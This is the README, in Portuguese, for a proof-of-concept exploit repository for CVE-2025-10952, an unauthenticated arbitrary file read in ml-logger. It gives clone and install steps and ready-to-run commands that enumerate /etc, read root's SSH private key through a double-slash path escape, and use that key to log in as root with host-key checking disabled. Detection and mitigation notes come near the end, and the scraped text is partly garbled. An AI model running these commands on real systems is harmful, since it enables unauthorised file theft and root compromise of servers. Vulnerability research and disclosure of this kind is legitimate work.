
PoC para CVE-2025-10952 — leitura arbitrária de arquivos não autenticada no ml-logger. CVSS 5.3
stream_handler do ml-loggerEste repositório fornece um script Python autônomo — CVE-2025-10952.py — que explora uma vulnerabilidade de leitura arbitrária de arquivos sem autenticação no stream_handler do ml-logger, encadeada com o endpoint /glob para enumeração do sistema de arquivos.
Quando executado contra uma instância vulnerável do ml-logger, ele irá:
/glob (sem autenticação, sem restrição de caminho fora do escopo pretendido)./stream fornecendo um parâmetro manipulado que escapa da lógica de junção do caminho base do handler.keyComo o stream_handler passa o campo key fornecido pelo cliente diretamente para uma chamada de resolução de caminho e streaming sem verificação de contenção, um atacante de rede não autenticado pode ler qualquer arquivo acessível ao usuário do SO do serviço.
ml_logger/server.py — stream_handler (File Handler)AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:Nacf255bade5be6ad88d90735c8367b28cbe3a743 (projeto de lançamento contínuo; nenhuma versão corrigida publicada no momento da divulgação)O stream_handler aceita um corpo JSON contendo um campo key e o passa diretamente para uma chamada de leitura de arquivo sem sanitização de caminho. O endpoint irmão glob_handler implementa restrições parciais de caminho (bloqueando caminhos absolutos e travessia), mas o stream_handler não compartilha essa validação — uma barra inicial duplicada em key (por exemplo, //root/.ssh/id_rsa) é suficiente para escapar do diretório base pretendido.
ml-loggergit clone https://github.com/Khashayarnzk/CVE-2025-10952-ml-logger-AFR.git
cd CVE-2025-10952-ml-logger-AFR
pip install -r requirements.txt
Enumerar arquivos:
python3 CVE-2025-10952.py --target TARGET --port 8081 --glob "/etc/*"
Ler um arquivo arbitrário:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa"
Ler e salvar em disco:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa" --out id_rsa_root
chmod 600 id_rsa_root
ssh -i id_rsa_root -o StrictHostKeyChecking=no root@TARGET
--port tem como padrão 8081, a porta padrão da API de arquivos do ml-logger em uma implantação padrão. O frontend do painel é normalmente servido em uma porta separada e não faz parte do caminho vulnerável.
/glob do alvo responde 405 Method Not Allowed com Allow: POST — isso identifica a porta da API em relação ao frontend estático do painel.--glob para mapear arquivos interessantes (chaves SSH, configurações, armazenamentos de credenciais).--read, usando uma barra inicial duplicada para caminhos absolutos.key/path contendo .., barras iniciais duplicadas (//) ou prefixos de caminho absoluto (/etc, /root, /proc) direcionados às portas do serviço ml-logger.~/.ssh/, /etc/shadow, /etc/passwd deve sinalizar leituras originadas da identidade do processo ml-logger.ml-logger a uma rede não confiável sem um proxy reverso autenticado na frente dele.os.path.realpath() verificada contra um diretório base na lista de permissões) no stream_handler; execute o serviço sob uma conta de SO dedicada e sem privilégios.Este repositório contém um exploit de prova de conceito para CVE-2025-10952, uma vulnerabilidade de divulgação de informações sem autenticação no ml-logger. Use este código apenas em ambientes que você possui ou para os quais tem autorização explícita para testar. O autor não é responsável por qualquer uso indevido ou dano causado por este software.
Consulte LICENSE.